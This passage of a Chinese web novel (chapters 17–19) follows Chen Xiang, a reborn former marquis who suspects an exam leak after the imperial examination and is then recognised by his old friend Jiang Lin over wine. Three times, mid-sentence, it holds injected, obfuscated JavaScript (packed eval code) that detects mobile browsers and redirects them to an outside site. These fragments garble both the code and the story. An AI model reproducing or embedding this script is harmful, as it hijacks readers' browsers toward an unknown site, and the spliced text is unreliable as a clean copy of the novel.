陈襄心中疑惑,但细微思考,眉头很快便舒展开了。 应该是其他考官拟定了此题,呈给钟隽审阅时,钟隽并未认出这句话的出处,只觉得立意尚可,便随手圈定了罢。 嗯,合理。这应该就是真相。 想通了此节,陈襄便开始回忆当年的那策论具体是如何写的。奈何时间过于久远,他也记不太清了,只好呼唤系统。 系统将那篇策论翻找出来,陈襄将其仔细浏览了一遍。 确认了原文的思路脉络,他重新睁开眼,再次提笔。 笔锋流转间,写下的却是一篇截然不同的文章。 他巧妙地避开了原策论中的核心观点,甚至站在了一个相对保守的立场,对那句话本身所蕴含的激进思想,进行了不着痕迹的、温和的批判。 整篇文章显得中正平和,四平八稳,引经据典,论证充分,却恰到好处地缺乏了那种一针见血的锐气。 任谁来看,这都只是一篇寻常应考士子的亮眼之作,与那位杀伐决断的武安侯没有半分相似之处。 写完,陈襄端详片刻,嘴角勾起。 应试嘛,见人说人话,见鬼说鬼话,不寒碜。 他满意地将这篇“伪装”之作放到一边,目光移向了最后一题。 只一眼,陈襄的目光便凝固住了。 那题目极为简洁,只有一句话,要求据“天视自我民视,天听自我民听”写一篇策论。 这句话本身,出自《尚书·泰誓》,是儒家经典中阐述民本思想的名句,作为策论题目,再寻常不过。 但。 前几日的文会开始之前,那位出身清河崔氏的世家子弟崔谌与他争论,到最后抛出的那个问题—— 正是这面前的这道试题! 陈襄握着笔的手,指节收紧。 17. 第 17 章 陈襄看着面前这张雪白的试卷。 那日,崔谌步步紧逼,直至最后抛出了这个问题。他将对方的话记得清清楚楚——“圣人有云,天意难测,民意如流水。” 但那时他未即细细思考,便被赶过来的张学士打断。 而现在,贡院肃静的号舍内,面对着这会试考卷,崔谌那句话与眼前的题目如同两块碎裂的符节,拼合在了一处。 这世上,真有如此巧合之事? 陈襄闭上眼,回忆起来更多的细节。 张学士行色匆匆地赶来,呵斥了崔谌,语气中透着一股不容置疑的急切。而崔谌,方才还言辞犀利,气势迫人,被张学士一说,竟是立刻敛了神色,拱手作揖,连声道歉。 那态度转变之快,当时便让他觉得些微有异。 张学士并非宴会主持者,和他陈襄也素无交情,却对一个世家子弟的“失言”如此紧张,反应未免过于激烈。 崔谌则是看似道歉,实则巧妙地将众人的注意力从那个问题上移开。 这到底是巧合,还是崔谌、或者说他背后所代表的清河崔氏,乃至更多的世家大族,真的知道了什么? 陈襄唇线抿直,眉间浮现阴霾。 他的心底涌现出一丝难以遏制的怒意。 和杀意。 他创立科举,就是为了打破世家门阀到垄断,是为了选拔真正有才干、能为国为民效力的栋梁。 而不是让教育沦为世家的禁脔,让朝堂成为他们世代传承的后花园! 他亲手搭建的这座桥梁,是存在着诸多不完善之处。新朝初立,百废待兴,他未来得及将其打磨至后世那般严密周全,许多设想都未能付诸实施。但他相信终会有后人能将其补全。 ——但这绝不意味着,他能容忍有人利用这些尚未弥补的漏洞,行舞弊之事! 科举,是他留给这个时代最重要、也最寄予厚望的遗产之一。他绝不允许任何人玷污它的公正。 若真是如此。 如有必要……他这辈子也不妨效仿一下黄巢。 陈襄的脸上覆上了一层寒霜,目光极冰冷。 他将这最后一道题目答完。 时间在寂静的号舍中缓缓流淌,窗外的天光移动。 一阵清越悠长的钟声响起,回荡在贡院上空。 “时辰到——!停笔收卷!” 差役们肃然的声音在各排号舍间响起,伴随着整齐的脚步声。 陈襄睁开眼,眸中已是一片清明冷静。他将试卷整理好上交,随着众学子走出考场。 贡院之外,人声鼎沸。 积压了数日的紧张与期待,在这一刻彻底爆发。 有人看到相熟的同伴,立刻冲上去激动地拥抱,放声大笑;有人面色惨白,失魂落魄,靠在墙角,用袖子掩着脸,发出低低的呜咽;还有人仰天长叹,捶胸顿足,显然是对自己的发挥极为不满。 众生百态,淋漓尽致。 陈襄完成了科举这个阶段性的目标,按理说本应感到一丝轻松。但他此刻却全无半点喜悦。 崔谌,是当今工部尚书崔晔的次子。 当年他对士族杀鸡儆猴,这清河崔氏便是被他震慑住的猴。审时度势之下,他们表现得极为恭顺,像风中的韧草一般,迅速倒向了主公。 陈襄也未曾赶尽杀绝。 毕竟水至清则无鱼,新朝也需要一些旧势力来填充朝堂,维持表面的平衡与运转。 但陈襄对这些传承百年的世家门阀骨子里的德性再了解不过。 他们老谋深算,惯会见风使舵,今日的俯首帖耳,焉知不是明日反噬的蛰伏。嘴上说着恭顺,心里指不定怎么腹诽,暗地里又在打着什么算盘。 因此,在新朝大封群臣之际,崔氏家主崔晔被安排了恰到好处的工部尚书一职。 工部尚书,位列六部尚书之一。从品级上看,是堂堂三品大员,说出去风光无限。 然而,与手握官吏任免大权的吏部、掌管国家钱粮命脉的户部相比,工部在朝堂政治上的实际影响力无疑要逊色许多。 这个位置权力相对有限,主要负责工程营造、屯田水利等事务。 崔家就算心有不甘,想要阳奉阴违,总不能把京城的城防工事、皇帝的陵寝修建给停了罢? 这样,对方也只能老老实实地干活,将家族的力量投入到这些具体的事务中去,无暇在朝堂上兴风作浪。 陈襄当时其实还有着另一层的目的。 工部油水丰厚,极易滋生贪腐,若崔晔把持不住伸手捞钱——那可就真是太好了。 正愁没有合适的借口对士族再次开刀呢。 崔家百年的积累,财富之巨,绝对比他们在工部能贪墨的那点银子多得多。一旦抓住把柄,直接抄家,将那泼天的财富尽数充入国库,以解新朝初立、百废待兴的燃眉之急。 可如今看来,崔家似乎并未如他所料那般,要么老实本分,要么在贪腐之道上自取灭亡。 陈襄眼神微冷。 好啊,他死后真是什么牛鬼蛇神都跳出来了。 跳出来好—— 那幕后之人总不出现,他厌恶这种被动等待敌人出招的感觉。也该主动出击了。 正好他还留着那些会试前递给他的名帖。是时候去拜访一些人了…… 陈襄沉浸在自己的思绪里,面色冷凝。 这份不同寻常的凝重,恰好落入了刚刚走出考场,正四处张望寻他的杜衡眼中。 杜衡脸上的兴奋与轻松瞬间收敛了不少。 难道是陈兄在考试中遇到了难题,发挥失常? 他快步走上前,小心翼翼地,带着几分试探和关切地问道:“陈兄,看你脸色似有不虞,莫非……是这次的试题有什么棘手之处么?” 陈襄回过神来,敛去面上的神色。 “并非。”他收敛好心中的筹谋与杀意,“我是在想旁的事情。你呢?答得如何?” 他便说!陈兄如此才华横溢,怎会被试题难住!杜衡当即将方才的担忧抛去,热切地切换到学子们考后最热衷的模式—— 对答案。 “陈兄,数算第五题,你计算出的结果是什么?我算出为八十二。还有策论第一道‘论均田’,你是如何破题的?我是从……” 杜衡兴致勃勃地开口,语速飞快,神采飞扬。 两人并肩而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647345|172757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行。杜衡口若悬河地说着自己的见解,陈襄偶尔颔首或简短回应一两句。 他们这旁若无人讨论题目的举动,引得周围不少刚经历完一场鏖战、心神俱疲的学子们投来或敬佩、或惊恐的目光。 贡院的门口处停满了各式各样的车马,其中不乏装饰奢华,一看便知价值不菲的,显然是来接那些家境优渥的世家子弟。 相比之下,如陈襄杜衡这般寄宿在会馆的寒门学子,大多选择步行回去。会馆离贡院不算太远,步行也用不了多少时间。 陈襄与杜衡正随着人流,朝会馆的方向走去。 就在这时,一辆青帷马车停在了二人面前。 那车不偏不倚地正挡住了他们的去路。 “陈公子,我家大人有请,欲请您移步一叙。”驾着马车的车夫道。 这辆马车实在是太过普通了。灰扑扑的车身,仅用一匹毛色杂乱的马拉着,连车辕都显得有些陈旧。驾车的车夫是位中年汉子,穿着普通的短褐,面容憨厚,扔进人堆里绝不会引人注意。 陈襄心中一动。难道是,说曹操曹操到? 他刚刚才想到幕后之人,现下对方便出现了? 杜衡稍显警惕。他上前一步,将陈襄半挡在身后:“你是何人?你家大人又是谁?” “当街拦路,连名号都不报,这就是你们邀请别人的礼仪么?” 他的声音清亮,义正言辞,立刻吸引了周围几道尚未散去的学子的目光。 那车夫似乎也没料到杜衡反应如此激烈,连忙摆手,脸上堆起笑容,试图缓和气氛:“哎呀,这位公子误会了,误会了!” “我家大人并无恶意,只是想同陈公子叙叙旧……” 叙旧? 陈襄心中冷笑一声。这借口未免也太拙劣了些。 “陈琬”这个身份是他一手捏造出来的,在长安城无亲无故,哪里来的旧可叙。对方果然是冲着他来的。 等了这么久,终于找上门来了啊! 也罢。他虽然已放弃了将对方揪出来的麻烦想法,但既然对方主动送上门来。 ——若是不探出点什么东西,可就白费他上辈子的英名了。 陈襄面上挂上微笑,眼中却没有任何笑意。他提起气势,拍了拍杜衡的肩膀示意对方退后,他要自己上前与对方交谈。 偏在此时,那车夫似乎怕他不肯答应,又向前凑了凑,压低了声音补充道:“我家大人,姓姜,字元明。” 陈襄:“……” 他提起的一身气势瞬间被戳破了。 啊? 姜元明。 姜琳?? 杜衡侧头,面带疑惑:“陈兄,你认识对方么?” 陈襄心底构筑好的应对策略以及满腹的猜测算计,在听到这个名字的瞬间停止了运转。连带着他的大脑也卡了一下。 他木木地点了点头。 杜衡讶然道:“可是陈兄的旧友?” “……” 陈襄有些艰难地:“……是,吧。” “诶,您看!我就说嘛!”那车夫露出了如释重负的笑容,“我家大人对陈公子绝无恶意的。那,陈公子可愿上车了?” 18. 第 18 章 陈襄板着脸,木然地拜别了杜衡,坐上了马车。 还能怎样呢?人都堵到贡院门口了,还指名道姓。 车帘落下,隔绝了外界的喧嚣与目光。陈襄坐在摇摇晃晃的马车内,闭了闭眼。 方才酝酿的怒意与警惕被尽数压下,心头只剩下一种难以言喻的郁闷,和百思不得其解。 萧肃那次是他主动送上门,为了拿到科举名帖不得不与对方面对面。 可姜琳呢?他都根本没和对方有什么接触,对方就精准地堵在了考场之外。 没想到,幕后之人一直沉得住气,他的马甲倒是被掀开了两次。熟人接二连三的找了上来。 “陈琬”这个一手捏造出来的身份,真的仅凭一场文会就能暴露身份? 陈襄靠在冰凉坚硬的车壁,看着眼前晃动的青帷,陷入了沉思。 姜琳,姜元明。 这人是他的熟人。 也是他上辈子唯一一位,勉强算得上是友人的家伙。 此人洒脱不羁,嗜酒如命,乃是个不折不扣的酒鬼。当初他就是用一坛子蒸馏酒才将对方忽悠过来打工的。 说起来这事儿还颇有些乌龙。他上辈子为了研究医用酒精,试图改进蒸馏技术,奈何条件简陋,器具不给力,总是差那么临门一脚。 结果,医用酒精没搞出来,倒是歪打正着地弄出了一些高度数的烈酒。 他自己并不好杯中之物,便都便宜了主公和这人。 姜琳此人,比他尚小两岁,却天生早慧,心思通透得可怕,仿佛能一眼看穿人心。 或许正是因为看得太明白,对方才对世事抱持着一种近乎玩世不恭的态度,视世俗礼法如无物。也正因为如此,他们两人一拍即合,结下了互相损来损去的奇妙友谊。 不过,慧极必伤。对方身体孱弱,体弱多病,偏偏又放浪形骸,看着就不像个能长命的主儿。 他自己倒是不以为意,还振振有词地说:人生在世,但求尽兴。此生愿望唯二:一是能有机会施展才华,然后效仿古代贤士,事了拂衣去,深藏功与名;二是每天都能有美酒相伴,逍遥自在。 长命百岁那是庸人的活法,我等才不屑与之为伍。 想到这里,陈襄忍不住叹了口气。 ——对方如今还活得好好的,他倒是已经死过一回了。 不过,陈襄心中始终萦绕着一个疑问。 在他打听如今朝廷形式的时候,便得知了当今的吏部尚书,正是姜琳。 姜元明此人淡泊名利,最厌束缚,曾说过“功名利禄如粪土,天下与他何加焉”这种话。 当年在军中之时,也总是仗着自己体弱,没要紧之事时能偷懒就偷懒,总是睡到日上三竿才肯爬起来。 让他在朝堂上当官,每天按时点卯上值,还不如直接杀了他来得痛快。 所以在当他得知对方七年过去竟然还留在朝堂,并且官居吏部尚书这等要职时,心中无比惊讶。 吏部尚书掌天下官吏铨选任免,权柄不可谓不重,责任更是如山。 难道真是七年光阴荏苒,磨平了少年时的棱角,让姜琳体会到了权利的美妙,变成年少时自己最讨厌的那类人了? 陈襄撑着下颌,心中将信将疑。 比起这个,他倒是更愿意相信是对方身体的原因。 那副破败的身子骨,自年少时起就没好过,三天两头不是风寒就是咳嗽,脸色总是带着一种病态的苍白。 偏生他还半点不爱惜,嗜酒如命,作息颠倒,仿佛是铆足了劲要和自己的寿命对着干。 当初自己尚在,还能时常拘着他,限制他饮酒。 如今他死了七年,没了管束,天知道那个家伙会放纵成什么样子。 莫不是当真将自己喝的病入了膏肓,连想抽身离去、云游四海都成了奢望,才不得不困守在这长安城中? 这个念头一起,陈襄不由得眉头紧绷起来。 马车行进的节奏逐渐放缓,车轮碾过青石板路的咯噔声也变得清晰。终于,马车彻底停稳了。 “陈公子,到了。”车夫的声音在车外响起。 陈襄敛去纷乱的思绪,掀开车帘走下马车。 眼前的宅邸令他无比熟悉。 ——果然是姜琳的府邸。 永和坊是京中显贵聚居之地。当年天下初定,论功行赏,他们这些从龙之臣大多在此处得了赐宅。他当年的武安侯府也在此处。 他也曾来过姜琳府邸多次。大半是为了公务,偶尔也是被对方缠着来喝酒。 陈襄还记得,这处宅邸的后院原是一个精巧雅致的花园,亭台水榭,花木扶疏。 可姜琳嫌打理起来太麻烦,大手一挥,竟让人铲了一小半。 说是要体会一下“种豆南山下”的隐士意趣。 结果自然是惨不忍睹。 对方哪里懂得什么耕种之事?一番折腾下来,锄头没握稳,倒是把自己又累病了一场。 那片被寄予厚望的“菜地”最终落得个“草盛豆苗稀”的下场,成了朝野上下很长一段时间的笑谈。 门前的仆役凑了上来,对陈襄道:“大人正在后院等您。” 陈襄略一颔首,谢绝了仆役的引路,独自一人沿着记忆中的路径熟门熟路地向后院走去。 …… 府邸内的陈设一如往昔,只是时光流淌,处处都染上了些许陈旧的痕迹。 陈襄心道:想来也是,以姜琳那性子,除非宅子快塌了,否则绝不会主动想着翻修。 越往里走,空气中那股若有若无的酒香便越发清晰起来。 他的眉梢微不可查地动了动,穿过一道木质回廊,视野豁然开朗。 天色欲晚,残阳熔金。 几株老树枝叶繁茂,在暮色中投下长长的影子。空气里的酒香在此处变得格外清晰,几乎是扑面而来。 院子中央,一方青石圆桌静静立着,桌面石质粗砺,边缘已有些许风雨侵蚀的痕迹。 一人正背对着他,坐在石桌前。 那人穿着一身浅蓝色的衣袍,身形削瘦,腰若细柳,却如同一支临风的青竹,带着几分亭亭之骨。 石桌上放着一柄银质酒壶,还有两只小巧的酒杯。一只正在那人手上,一直摆放在对面,似是正候客来。 听到脚步声,对方缓缓转过身来。 一张熟悉的面容撞入了陈襄的视线。 玉貌清丽,目若清溪。 还是那记忆中的模样,只是褪去了几分少年人的跳脱不羁,添了几许沉静。 浅蓝这般明净的颜色,寻常人穿着只怕会显得黯淡无光,可穿在对方身上,却恰到好处地将其一身潇洒随性、体态风流衬得淋漓尽致。 那人一双明亮灼灼的桃花目对上了陈襄的眼睛,当即露出了笑意。眼波盈盈漾漾,如蜜糖一般。 “故友许久未见,还不快快入座,与琳共饮一番?” 姜琳郎笑一声,向陈襄举起手中的酒杯,动作流畅,一饮而尽。 陈襄一腔的心绪都被对方这自然的态度给打败了。 就,怎么说呢。仿佛两人之间七年的生死相隔从未存在一般。这很姜琳。 陈襄无声地叹了口气。他下意识地就想这么径直走过去坐下,但残存的理智还是让他象征性地挣扎了一下。 “这位,”陈襄有气无力地开口,“我们之间,似乎并未见过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647346|172757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面罢?” “哎呀呀,这可真是……”姜琳脸上的笑意淡了些许,拖长了语调,幽幽开口,“等闲变却故人心,却道故人心易变①啊~” 这婉转哀怨的语气激得陈襄浑身一个激灵。 “好好说话!” 陈襄鸡皮疙瘩都冒了出来,露出一个牙酸的表情,忍不住低斥。这家伙又在故意戏弄人。 ……罢了。来都来了,再装下去又有什么意义。 陈襄再叹了口气,迈步上前,绕过石桌,在对面的石凳上坐了下来。 熟悉的环境、熟悉的人。这庭院当中还当真有了几分故友相聚的氛围。 姜琳的目光一直追随着陈襄的动作,一瞬不瞬地看着他。 陈襄越走近,便觉那萦绕周身的酒香越发浓郁,似乎将脚下的土地都浸透了一般。他暗自腹诽姜元明这家伙这七年究竟喝了多少酒。 然而,当他抬眼仔细观察对面之人时,却见对方虽清瘦依旧,肤色不如常人那般气血充盈,但神气却似乎并不算太差。 陈襄的担忧略微放下些许。 于是,他看着姜琳那双清亮的眼睛径直开口问道:“你是怎么发现的?” 姜琳单手撑着脸颊,歪头看他,像是要把他这张脸看出花来似的。 “你在文会上那般大出风头,我怎会不知晓?” 陈襄道:“长安才俊何其多。文会之事,怎就能让你联想到一个已死七年之人呢?” “起初只是觉得有趣,”姜琳眼睫微垂,看着粗砺的石桌面,“便多留了心,让人细细查探了一番。” 而后他抬眼将目光落在陈襄身上,发出一声哼笑:“陈孟琢啊陈孟琢,咱俩谁跟谁?你那点心思,那点习惯,就算换了层皮,我也认得。” 姜琳的语气中带着戏谑和笃定,甚至还有一丝骄傲:“装什么陌生人?你就是烧成了灰,我也能认得出你。” 陈襄:?? 烧成灰过了吧! 见陈襄一时无语,姜琳眼珠一转,继续道:“志怪传奇,话本小说里,借尸还魂、精怪附体之事,也不是没有。圣人还言‘子不语怪力乱神’,可见此类事自古便有,又有甚么好大惊小怪的?” 说着,他上下打量着陈襄,好奇心几乎要溢出来:“说起来,你如今到底是个什么情况?” “这身子骨是真的,还是假的?是哪路山精水怪,还是孤魂野鬼?” 陈襄心头那点残存的侥幸彻底烟消云散。 他只觉得额角的青筋跳了跳。 你们这些古人,接受能力是不是都强得有些离谱了? 而且,他就知道这家伙平日里没少看那些不着调的东西! 不待陈襄回答,姜琳竟向前探过身子,向他伸出手来。 陈襄没料到对方的动作,反应慢了半拍,脸颊上便传来了微凉的触感。 “唔,”姜琳还真上手捏了捏,“有温度。是活人?” 陈襄面色一黑,抬手打开他的爪子。 “自然是活人!” 姜琳讪讪地收回手,却依旧是一副饶有兴致的模样:“那,借尸还魂?” “……” 陈襄沉默了。 一个两个都这么猜。但除了系统之外,从某种意义上来说,他们还真没有猜错。 太阳西垂,天色暗了下来。 庭院中的光线变得昏黄朦胧,唯有姜琳那双眼睛,在暮色里依旧明亮。 姜琳收敛了方才的跳脱,面色竟有几分沉静。 他凝视着陈襄。 “话本里常说,魂魄不入轮回,皆因生前执念未消。” “孟琢,你此番回来,可是有什么心愿未了么?” 19. 第 19 章 姜琳的瞳色较常人浅上许多,是一种极为剔透的琥珀色。 当他面上不带着任何神情,用这双眼睛盯着对方之时,那目光就像是穿透了皮囊,能直直看向心底深处。将人看得一清二楚,无所遁形。 陈襄心念微动。 话题到底是怎么进行到这里的?从重逢的试探,到身份的戳破,再到这“心愿未了”之说…… 果然还是那个姜元明。 那骨子里的敏锐丝毫未减。 陈襄比任何人都清楚姜琳的能力。对方虽出身寒门,不似世家子弟那般有深厚根基,却天生一颗七窍玲珑心。 对手的欲望与恐惧、勾心斗角,似乎都逃不过他那双洞悉人心的眼睛。 其人那些看似天马行空、不循常理的奇谋,往往能精准地击中要害,以最小的代价撬动最大的棋局,甚至不费一兵一卒便能挑拨离间,让敌人自乱阵脚。 当年并肩之时,陈襄没少见识过姜琳这份“读心”的能耐。 陈襄不喜这种被别人带着走的感觉,心中掠过一丝短暂的、想要夺回对话主导权的念头。但转念一想,却又觉得似乎并无必要。 他正好可以顺着对方的话,问出自己眼下关心的事情。 想到此处,他心头那一丝不适感渐渐淡去,想起这几日暗中了解到的朝堂局势,心中出现一股沉郁之气。 他没能忍住地抱怨出声:“能有什么心愿?我活着的时候把一切都安排得明明白白,但现在呢,朝堂上变成什么样子了?” 姜琳无辜地眨了眨眼睛:“哎,这可不能怪我……” 陈襄当然知道不怪他。 寒门总体的势力弱于士族,这不是一个人就能改变过来的事情。要怪,也该怪那些根深蒂固的士族门阀。 怪当初下手不够狠的他自己。 陈襄轻叹一口气,越过刚才有感而发的抱怨,心道眼下最重要的还是问清楚这七年间发生的事,计划接下来该如何走。 但在继续正题之前,他还有一个疑问需要从眼前之人身上得到答案。 四周氤氲的酒香似乎更加浓郁了些,将空气都染上了一层醉人的暖意。陈襄身前的酒杯里早已盛满了酒液,泛着潋滟的波纹。 陈襄抬眼看向姜琳:“我记得你自打受了官职那天起,嘴里就没停过抱怨,三天两头嚷嚷着官场无趣,想要挂印而去,寻个山清水秀的地方喝酒逍遥。” “怎么如今七年过去,你非但没跑,反而还安安稳稳地待在这朝中呢?” 姜琳的目光落在对面之人的脸上。 对面的少年发黑若鸦羽,眸墨若点漆,脸颊上还带着点少年时期特有的软肉。 与其上一世竟有着七八分的相似。 只是轮廓更为稚嫩,身形也单薄了许多。 这般模样,几乎像是时光倒流,回到了他与陈襄初识的少年时,不,比那时还要年少几岁。 ——看起来倒是有几分可怜。 可怜? 姜琳心中冒出这个想法,旋即自己都觉得荒谬可笑。 这念头也只敢在他自己心里转转,若是说出口,别说陈襄本人能立刻跳起来揍他,便是传扬出去,怕是也无人会信。 那可是曾搅动天下风云、尸山血海里杀出来的武安侯,是名字就能止小儿夜啼的魔王。 谁敢说他可怜? 纵然对方已身死魂销,也绝不会有人将“可怜”二字与他联系起来。 此刻,对方那双漆黑如墨的眼眸里,映着昏黄的庭院,也映着他姜琳的身影,里面只有着纯粹的疑问。 姜琳清楚陈襄并非在试探或质问他,而仅仅是出于对这七年空白的好奇,以及对他选择的不解。 但,就是这般不夹杂分毫其余情绪的、纯粹而直接的疑问,却让姜琳垂下了眼睫。 他伸手拿起桌上的酒壶,对准面前空下的酒杯。 壶口倾斜,透明的酒水汩汩流出,姜琳的脸上掠过一丝极淡的怏怏之色。 那神情转瞬即逝,快得让陈襄几乎以为是自己的错觉。 待他再定睛细看时,姜琳脸上已重新挂上了那副惯有的笑容。 酒已斟满,玉杯生辉。姜琳放下酒壶,端起酒杯,朝着陈襄遥遥一举。 “哎呀,故友难得重逢,何必急于讨论这些扫兴的俗务?”他笑道,“你我坐在这里半晌,竟连一杯酒都还未曾下肚,岂不是太煞风景了?” 说罢,也不给陈襄回应的时间,他便仰头,将杯中酒水一饮而尽。 陈襄眉头跳了跳,心道果然是那个姜元明。 还真是无时无刻不想着他的宝贝酒! 面对对方“是朋友就满饮此杯”的这番动作,陈襄无奈地摇了摇头,端起自己面前的酒杯,学着姜琳的样子将杯中的酒饮尽。 酒液入口,初时只觉香醇绵厚,带着梨花的清雅之气,但随即一股辛辣的暖流便自喉间直烧而下,瞬间点燃了五脏六腑。 是难得的好酒,也是劲道十足的烈酒。 他如今这具身体尚且年少,对烈酒的承受力也打了折扣。 陈襄微微蹙眉,但还是没有放下杯子,将这一杯酒喝完了。 空掉的酒杯放到青石桌上,发出“嗒”的一声轻响。 他抬眼望去,便见姜琳许是饮得急了,又或是这酒确实烈性,对方的脸颊上染上了一层浅浅的薄红,眼尾也泛起水光,竟似有了一两分的醉意。 ……酒量还是这么差劲,又菜又爱喝。 陈襄心道,对方这酒量怎么看起来还不如七年之前,才喝了两杯就醉了? 但随即,鼻尖那股萦绕不散的浓郁酒香给了他答案。 估摸着在他到来之前,这家伙已经自斟自饮了许久了。 “好了,你也少喝点罢,弄得这院子里到处都是酒气。” 陈襄挥了挥衣袖,想要驱散这挥之不去的酒气:“酒也喝了,别转移话题。” 姜琳胳膊支着桌面,抬起头。 他的眼眸仿佛染上了一层水光,更加清亮。随意挽起的发丝垂落,一副疏懒随性之态。 姜琳看着对面之人,心中一片清明。 陈襄此人,看着冷心冷清,实则也是。 这世间能真正让他挂怀在意的事情寥寥无几。不在意的人和事,于他而言,大约就如同拂过衣袖的微尘,掸去便了无痕迹,连半分心思也懒得分出。 甚至对方此番的目的,他都能将猜到一二。 ——那必然是,与对方在意的东西有关。 或是一这片他亲手平定下来的天下,或是……反正与他无关。 想到此处,姜琳在心底无声地嗤笑了一声。 若不是他主动找到对方,这位武安侯只怕根本就没打算与他这位“故友”相认。 即使现在,面对陈襄的疑问,他也完全可以随口编造一个听起来冠冕堂皇的理由搪塞过去。 他甚至能清晰地预见对方的反应。 大约会皱起眉,将信将疑,但最终也只会认为是他不愿细说,绝不会刨根问底,更不会强人所难。 真是好一番体贴! 姜琳对上陈襄的眼眸,那双乌黑眼眸中的神色清澈冷静得近乎冷酷。 一瞬间,一种难以言喻的情绪在姜琳心中翻涌,带着点久积的郁气,又似夹杂着一丝尖锐的刺痛。 ——他几乎要生出一丝恨意。 陈襄正等着姜琳的回答,却见对方沉默半晌,面色突然冷了下来。 姜琳反问道:“那你觉得是为何?” 这突如其来的转变让陈襄着实一愣。 他纳闷地打量了姜琳几眼,目光扫过对方底色依旧有些苍白的脸颊,再联想到方才对方避而不谈的七年,以及此刻这没来由的冷脸…… 他脑中灵光一闪。 对方一直不肯正面回答,怕不是,身体有了什么隐疾? 陈襄恍然大悟。 定然是他方才那句无心的询问,恰好戳中了对方的难言之隐,这才引得他如此反应! 想通了此节,他看向姜琳的目光顿时充满了理解与担忧。 ……还有几分不由自主的向下漂移。 陈襄斟酌了一下语气,带着几分关切道:“元明,身体若有不适,还是该早些寻医问药才是。切莫忌疾讳医啊。” 姜琳听到“忌疾讳医”四个字,看清陈襄脸上那副“我懂了,你不用说了”的担忧表情,以及那眼神里明晃晃的同情,差点没被自己的口水呛到。 “忌疾讳医?”姜琳重复了一遍,简直被气笑了,“什么忌疾讳医?” 陈襄诚恳道:“身体不好,便少喝些酒罢。你看这满园子的酒气。方才我来之前,你到底喝了多少?” 姜琳脸上的笑意彻底消失。 但下一刻,他又忽地笑了一声。那声音凉凉的不带半分暖意。 他缓缓站起身,伸手径直拿起了桌上那只还剩大半壶酒的银质酒壶。 在陈襄惊愕的注视下,姜琳手臂微抬,手腕一翻,将壶口猛地向下倾斜。 清冽的、带着梨花清香的酒液,从壶口奔涌而出。没有落入任何杯盏,而是直直地、毫不吝惜地倾洒在了他们脚下的地面上。 酒水四溅,瞬间浸湿了一小片土地,酒香刹那间更加浓郁,弥漫在整个庭院之中。 陈襄的瞳孔紧缩了一下。 姜琳…… 那个嗜酒如命,恨不得将天下美酒都纳入腹中,连一滴都不舍得浪费的姜元明……竟然在倒酒?! 庭院里静得只剩下风拂过树叶的簌簌声,以及那“哗啦啦”地酒水倾倒之声。 姜琳长身玉立,直直地将壶中之酒倒完,一丝不剩。 而后,他这才转过头,目光落在依旧有些怔忡的陈襄身上,那张清丽的面容竟显出几分少有的凌厉。 “孟琢还未发现么?”他语调微顿,唇角勾起一抹似笑非笑的弧度,“这满院的酒气,并非来自我身上啊。” 陈襄闻言,下意识地低头看向下方那片深色的湿润土地。 泥土被酒液浸透,颜色深了好几层,与周围干燥的土地泾渭分明。那股清冽的酒香,果然是从下方丝丝缕缕地蒸腾而上,比空气中弥漫的更为醇厚。 “……你这是做何,难不成真用上好的梨花白来浇灌庭中草木不成?” “非为花草,”姜琳施施然收回手,理了理袖口,“而是为了祭奠旧友。” 祭、奠? 陈襄回想能让姜琳用上“祭奠”二字的人,再联想到对方方才就在他眼皮子底下、朝着地面倾倒了一整壶酒的动作。 ……这是在,祭奠他? 陈襄的嘴角抽了抽。七年未见,这人的“潇洒”更胜往昔。 姜琳将陈襄那副写满了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647347|172757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “难以理解”的表情尽收眼底。 他感觉到方才饮下的酒液似乎化作了无数细小的暖流,顺着喉管,一路蜿蜒流淌,浸润着他的四肢百骸。 久违的、带着微醺的灼热感。 这感觉既熟悉,又陌生得让他恍惚。 他已经多久没有尝过这种滋味了? ——七年。 他整整七年,未沾过一滴酒了。 姜琳脑海中那些被尘封的记忆,也随着这酒意弥散开了。 烽火狼烟,运筹帷幄,军帐中彻夜不眠的灯火。 和最初相遇时,那个眉眼间锐气风发的少年人,笑着向他伸手:“可愿随我一同搅动这天下风云大势?总好过醉生梦死,籍籍无名!” 那时的陈襄,也不过是个初出茅庐尚未及冠的少年,并未比他年长多少。 可对方偏偏就有一股让人无法抗拒的自信。仿佛这天下棋局,早已尽在他的掌握之中。 于是,姜琳也便信了。 他跟着他,一路从微末走到权倾朝野。 他亲眼看着对方付出了什么,又失去了什么。 亲眼看着那个少年人陈襄,一点点变成了心思深沉、言语寥寥的陈孟琢。最后又在血与火的淬炼中,成为了那个眼神冷厉、手段酷烈的武安侯。 